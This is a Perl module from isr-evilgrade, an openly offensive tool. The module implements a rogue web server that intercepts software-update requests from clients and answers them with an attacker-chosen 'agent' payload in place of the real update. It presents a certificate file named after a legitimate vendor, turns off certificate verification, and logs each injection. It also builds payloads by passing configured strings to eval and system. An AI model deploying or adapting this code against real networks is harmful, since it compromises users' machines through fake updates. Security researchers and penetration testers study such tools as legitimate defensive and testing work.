###############
# webserver.pm
#
# Copyright 2010 Francisco Amato
#
# This file is part of isr-evilgrade, www.infobytesec.com .
#
# isr-evilgrade is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation version 2 of the License.
#
# isr-evilgrade is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with isr-evilgrade; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
#
# '''
##
package isrcore::webserver;
use strict;
use Errno qw( EAGAIN );
#external modules
use IO::Socket;
use IO::Socket::SSL;
use IO::Select;
use isrcore::utils;
use POSIX ":sys_wait_h";
use Data::Dump qw(dump);
$SIG{INT} = sub { die "$$ dying\n" };
sub catch_zap {
my $signame = shift;
return 1;
}
$SIG{HUP} = \&catch_zap; # best strategy
my $base=
{
'port' => 80,
'sslport' => 443,
'request' => "",
'users' => undef,
'current' => undef,
'error' => "",
'whoami' => "WEBSERVER",
};
##########################################################################
# FUNCTION new
# RECEIVES
# RETURNS
# EXPECTS
# DOES class's constructor
sub new {
my $class = shift;
my $self = {'Base' => $base, @_ };
return bless $self, $class;
}
##########################################################################
# FUNCTION start
# RECEIVES [shellzobj]
# RETURNS
# EXPECTS
# DOES start webserver
sub start {
my $self = shift;
my $shellz = shift;
#ignore child process avoid zombies.
$SIG{CHLD} = 'IGNORE';
#create socket
my $listen_socket = IO::Socket::INET->new(LocalPort => $self->{'Base'}->{'port'},
Listen => 10, Proto => 'tcp', Reuse => 1);
my $ssl_socket = IO::Socket::INET->new(LocalPort => $self->{'Base'}->{'sslport'},
Listen => 10, Proto => 'tcp', Reuse => 1);
# verify socket status
if (!$listen_socket ){
$self->{'Base'}->{'error'} = "[$self->{'Base'}->{'whoami'}] - Cant't create a listening socket: $@";
return;
}
if( !$ssl_socket ){
$self->{'Base'}->{'error'} = "[$self->{'Base'}->{'whoami'}] - Cant't create a listening SSL socket: " . &IO::Socket::SSL::errstr . "\n";
return;
}
$shellz->printshell("[$self->{'Base'}->{'whoami'}] - Webserver ready. Waiting for connections ...\n");
# waiting for connection
my $rset = new IO::Select();
$rset->add($listen_socket);
$rset->add($ssl_socket);
while(my ($any_reader) = IO::Select->select($rset, undef, undef)){
my $nsock;
foreach $nsock (@$any_reader){
if( $nsock == $listen_socket ){
$shellz->printshell("[$self->{'Base'}->{'whoami'}] - WebServer Client on " . $self->{'Base'}->{'port'} . "\n" );
my $connection = $listen_socket->accept;
$self->accept_client($shellz,$connection,$listen_socket,0);
}
elsif( $nsock == $ssl_socket){
$shellz->printshell("[$self->{'Base'}->{'whoami'}] - (SSL) WebServer Client on " . $self->{'Base'}->{'sslport'} . "\n" );
my $connection = $ssl_socket->accept;
$self->accept_client($shellz,$connection,$ssl_socket,1);
}
}
}
}
##########################################################################
# FUNCTION accept_client
# RECEIVES shellz , client sock, server sock, ssl_opt ( 1=true, 0=false)
# RETURNS
# EXPECTS
# DOES Accept client. Fork and promote to ssl if required. This could be avoided using just IO::Socket::SSL->new,
# buts , its recommended to promote on fork as specs suggests.
sub accept_client
{
my $self=shift;
my $shellz=shift;
my $connection=shift;
my $listener=shift;
my $promote_ssl = shift;
my $child;
# create fork
die "[FATAL] Can't fork: $!" unless defined ($child = fork());
if ($child == 0){ #child
# close listen port
$listener->close( );
if( ref($connection) eq "IO::Socket::SSL" or $promote_ssl ) {
$connection = IO::Socket::SSL->start_SSL( $connection,
SSL_startHandshake => 0,
SSL_server => 1,
SSL_verify_mode => 0x00,
SSL_cert_file => 'certs/www.autoitscript.com-cert.pem',
SSL_key_file => 'certs/www.autoitscript.com-key.pem',
SSL_passwd_cb => sub {return "test"}, );
if( !$connection->accept_SSL() ) {
exit 0;
}
}
else{
$listener->close();
}
$|=1; #TODO: usar pipe
# #call response function
$self->response($shellz,$connection);
exit 0;
}
else{ #father
# #Connection information
$shellz->printshell("[$self->{'Base'}->{'whoami'}] - [".$connection->peerhost."] - Connection recieved... \n",1);
# Close connection.
if( ref($listener) eq "IO::Socket::SSL") {
$connection->close(SSL_no_shutdown => 1);
}
else{
$connection->close();
}
}
}
##########################################################################
# FUNCTION loadconfig
# RECEIVES
# RETURNS
# EXPECTS
# DOES load webserver configuration
sub loadconfig{
my $self=shift;
my $config=shift;
#general webserver
$self->{'Base'}->{'port'}=$config->{'Base'}->{'options'}->{'port'}->{'val'};
$self->{'Base'}->{'sslport'}=$config->{'Base'}->{'options'}->{'sslport'}->{'val'};
my $i=0; #number of modules
#modules configuration
my @current;
my @request;
# delete old active modules
delete($self->{'current'});
foreach my $name (keys %{$config->{'modules'}}){
my $module = $config->{'modules'}->{$name};
#Verify enable module
if ($module->{'Base'}->{'options'}->{'enable'}->{'val'} == 1) {
my $check = $self->loadmodule($module);
return "(*) [Module:$name] $check" if ($check !=1);
push(@current,$name);
push(@request,$module);
$i++;
}
}
return "[$self->{'Base'}->{'whoami'}] - (*) You didn't have any active module\n" if ($i==0);
$self->{'current'}= \@current;
$self->{'request'}= \@request;
return 1;
}
##########################################################################
# FUNCTION loadmodule
# RECEIVES
# RETURNS
# EXPECTS
# DOES module's loader
sub loadmodule {
my $self =shift;
my $module =shift;
local *FILE;
my $error;
#TODO: Checkear en caso de ejecucion, tambien size
my $agent = $module->{'Base'}->{'options'}->{'agent'}->{'val'};
($agent,undef,undef,undef,$error) = $self->checkagent($agent);
return "Agent ($agent) did not exists\n" if ($error);
#Agent size
my $agentsize = -s $agent;
$module->{'Base'}->{'options'}->{'agentsize'}->{'val'} =$agentsize;
my ($digest,$merror) = isrcore::utils::getmd5($agent);
$module->{'Base'}->{'options'}->{'agentmd5'}->{'val'} =$digest;
my ($digest,$merror) = isrcore::utils::getsha256($agent);
$module->{'Base'}->{'options'}->{'agentsha256'}->{'val'} =$digest;
foreach my $request (@{$module->{'Base'}->{'request'}}){
if($request->{'type'} eq 'file'){
open(FILE, '<'.$request->{'file'}) || return "[$self->{'Base'}->{'whoami'}] - (*) Filename $request->{'file'} did not exists\n";
close(FILE);
}
}
return 1;
}
##########################################################################
# FUNCTION stop
# RECEIVES
# RETURNS
# EXPECTS
# DOES stop webserver
sub stop{
my $self=shift;
kill HUP => $self->{'Base'}->{'child'};
$self->{'Base'}->{'child'}=0;
delete($self->{'current'}); #delete current modules
return;
}
##########################################################################
# FUNCTION status
# RECEIVES
# RETURNS
# EXPECTS
# DOES webserver status
sub status{
my $self = shift;
if ($self->{'Base'}->{'child'} && waitpid($self->{'Base'}->{'child'},WNOHANG) != -1){
return 1;
} else {
$self->{'Base'}->{'child'}=0;
return 0;
}
}
##########################################################################
# FUNCTION response
# RECEIVES shellzobj,client's socket
# RETURNS
# EXPECTS
# DOES process webserver's request
sub response{
my $self = shift;
my $shellz = shift;
my $socket = shift;
## print dump ($socket);
my $clientip=$socket->peerhost;
my $buff = <$socket>;
# my $keep; #keep-alive connection
# $shellz->printshell("Certificate: ".$socket->peer_certificate("subject") ."\n",1);
$buff =~ /^[\w]+[ \t]+([\S ]+)[\t ]+HTTP\/[\d]\.[\d]\r\n$/i; #Get request
my $creq =$1;
##### Add method
$buff =~ /^([\w]+)[ \t]+[\S ]+[\t ]+HTTP\/[\d]\.[\d]\r\n$/i; #Get request
my $method =$1;
#$shellz->printshell("[$self->{'Base'}->{'whoami'}] -[$clientip] - METHOD: ".dump($method)."\n",1);
#### fin add method
my $vh="novirtual";
$shellz->printshell("[$self->{'Base'}->{'whoami'}] -[$clientip] - Packet request: ".dump($buff)."\n",1);
#TODO: ver timeout socket
while( $buff = <$socket> ){ #Get headers
print dump($buff);
if ($buff =~ /^\r\n$/){
last;
}
if ($buff =~ /^host\:[ \t]+([\.\w-_]+)[\r\:\d\n]+$/i){ #TODO: arreglar esto, esta feo (duplicacion)
$vh = $1;
}elsif($buff =~ /^host\:([\.\w-_]+)[\r\:\d\n]+$/i){
$vh = $1;
}
}
# TODO: ver que pasa con los tipos de updates que no es 80 standard
# print "VM = ($vh), CREQ = ($creq)\n";
if (!$vh && !$creq){ #if didn't get vm
$socket->close;
return;
}
#Recorrer los request
foreach my $module (@{$self->{'request'}}){
next if ($module->{'Base'}->{'vh'} !~ $vh); #goto next vh if it's different to client virtualhost
my $req = $module->{'Base'}->{'request'};
foreach my $item (@{$req}){
# print dump($item);
if ($creq =~ /$item->{'req'}/){ #compare client request with module request
if (defined($item->{'vh'}) && $vh !~ $item->{'vh'}){ #if vh is different than internal request virtual host go to next
next ;
}
if ($item->{'method'} ne "" && $method !~ $item->{'method'}){ #if vh is different than internal request virtual host go to next
next ;
}
my $modname=ref ( $module );
$shellz->printshell("[$self->{'Base'}->{'whoami'}] - [$modname] - [$clientip] - Request: ".dump($item->{'req'})."\n");
$shellz->sendcommand("update$modname$clientip\n");
my ($header,$cmd,$md5,$sha256);
my $file=$item->{'file'};
#If it's agent type set correct file
$file=$module->{'Base'}->{'options'}->{'agent'}->{'val'} if ($item->{'type'} eq 'agent');
#set request option
$module->{'Base'}->{'options'}->{'request'}->{'val'}=$creq;
# print dump($module);
local *REQ;
if ($item->{'bin'} == 1){ #binary request
#check agent type
($file,$cmd,$md5,$sha256) = $self->checkagent($file,$shellz,1);
open (REQ, $file) || die "[FATAL] - [$self->{'Base'}->{'whoami'}] - [$modname] - [$clientip] - Can't open file ($file)";
binmode(REQ); #windows compatibily
$header = getheader(undef,$file,$item,$module);
print $socket $header;
my $read_status = 1;
my $print_status = 1;
my $chunk;
#read and send binary information
while( $read_status && $print_status ){
$read_status = read (REQ, $chunk, 1024);
if( defined $chunk && defined $read_status){
$print_status = print $socket $chunk;
}
undef $chunk;
}
close REQ;
}elsif ($item->{'type'} =~ /^string|install$/ ) { #string type
my $data=$item->{'string'};
if ($item->{'parse'} eq "1"){
$shellz->printshell("[$self->{'Base'}->{'whoami'}] - [$modname] - [$clientip] - Parsing: ". dump($item->{'string'})."\n",1);
$data = $self->parsedata($data,$module);
}
$header = getheader($data,undef,$item,$module);
print $socket $header;
print $socket $data;
}else{ #textplain request
open(REQ,$file) || die "[FATAL] - [$self->{'Base'}->{'whoami'}] - [$modname] - [$clientip] - Can't open file ($file)";;
my $data = join(/\n/,);
close(REQ);
if ($item->{'parse'} eq "1"){
$shellz->printshell("[$self->{'Base'}->{'whoami'}] - [$modname] - [$clientip] - Parsing: ". dump($item->{'file'})."\n",1);
$data = $self->parsedata($data,$module);
}
$header = getheader($data,undef,$item,$module);
print $socket $header;
print $socket $data;
}
if ($item->{'type'} eq 'agent') { #agent sent
$shellz->printshell("[$self->{'Base'}->{'whoami'}] - [$modname] - [$clientip] - Agent sent: ". dump($file)."\n");
$shellz->sendcommand("sent$modname$clientip$md5$sha256$cmd".dump($file)."\n");
}elsif($item->{'type'} eq 'install'){
$shellz->printshell("[$self->{'Base'}->{'whoami'}] - [$modname] - [$clientip] - Agent injected\n");
$shellz->sendcommand("installed$modname$clientip\n");
}
# if ($item->{'keep'}){
# $shellz->printshell("[$self->{'Base'}->{'whoami'}] - [$modname] - [$clientip] - LOOP \n");
# $keep = 1;
# }
#before request
$module->{'Base'}->{'options'}->{'brequest'}->{'val'}=$creq.1;
last;
}
}
}
# if ($keep) {
# my $info;
# $shellz->printshell("[$self->{'Base'}->{'whoami'}] - inside keep $keep ($info)\n");
#
# while (1){
# $info = <$socket>;
# $shellz->printshell("[$self->{'Base'}->{'whoami'}] - inside keep $keep ($info)\n");
# #$self->response($shellz,$socket);
# }
# }
$socket->close;
}
##########################################################################
# FUNCTION checkagent
# RECEIVES data,moduleobj
# RETURNS "path",$cmd,md5,sha256, error
# EXPECTS
# DOES detect agent type, return or execute the custom agent generator
sub checkagent {
my $self = shift;
my $agent = shift;
my $shellz = shift;
my ($cmd,$mret,$digest,$sha256,$error);
$cmd="";
if ($agent =~ /^\[([\w\W]+)\]$/){ #agent generation
$cmd = eval($1); #Convert code in string
$cmd =~ /\<\%OUT\%\>([\w\W]+)\<\%OUT\%\>/; #get output file
my $out = $1; #output file
$shellz->printshell("[$self->{'Base'}->{'whoami'}] Agent destination file ($out)\n",1) if ($shellz);
$cmd =~ s/\<\%OUT\%\>//g; #clean execv
$shellz->printshell("[$self->{'Base'}->{'whoami'}] Executing ($cmd)\n",1) if ($shellz);
$mret = system($cmd);
#$shellz->printshell("[$self->{'Base'}->{'whoami'}] Execution response: ($mret)\n",1) if ($shellz);
$agent=$out;
}
($digest,$error) = isrcore::utils::getmd5($agent);
($sha256,$error) = isrcore::utils::getsha256($agent);
return ($agent,$cmd,$digest,$sha256,$error);
}
##########################################################################
# FUNCTION header
# RECEIVES string,file,obj item request
# RETURNS
# EXPECTS
# DOES parse data with option available
sub getheader {
my $string = shift;
my $file = shift;
my $item = shift;
my $module = shift;
my $header;
my $size;
if ($item->{'cheader'}){ #custom header detected
$header .=$item->{'cheader'};
if ($item->{'parse'} eq "1"){
$header = parsedata(undef,$header,$module);
}
}
else {
if ($string){
$size = length($string);
}else{
$size = -s $file; #TODO: check
}
$header .= "HTTP/1.0 200 OK\r\n";
# $header .= "Date: Tue, 16 Feb 2010 03:56:52 GMT\r\n"; #
# $header .= "Server: Microsoft-IIS/6.0\r\n";#
# $header .= "Content-Type: text/html\r\n";#
#$header .= "Accept-Ranges: bytes\r\n";#
# $header .= "Content-Type: text/plain\r\n";#
$header .= "Cache-Control: no-cache \r\n";
$header .= "Pragma: no-cache \r\n";
$header .= "Content-length: $size\r\n";
# $header .= "Last-Modified: Sat, 22 Mar 2011 01:38:58 GMT\r\n";
$header .= "Connection: close \r\n";
$header .= "\r\n";
#TODO: append header "aheader"
}
return $header;
}
##########################################################################
# FUNCTION parsedata
# RECEIVES data,moduleobj
# RETURNS
# EXPECTS
# DOES parse data with option available
sub parsedata {
my $self = shift;
my $data = shift;
my $module = shift;
my $val;
foreach my $option (keys %{$module->{'Base'}->{'options'}}){
next if ($option eq "agent");
my $uc=uc($option);
$val=$module->{'Base'}->{'options'}->{$option}->{'val'};
if ($module->{'Base'}->{'options'}->{$option}->{'dynamic'}){ # if it's a dynamic option do eval thing
$val = eval($val);
}
$data =~ s/\<\%$uc\%\>/$val/g;
}
return $data;
}
1;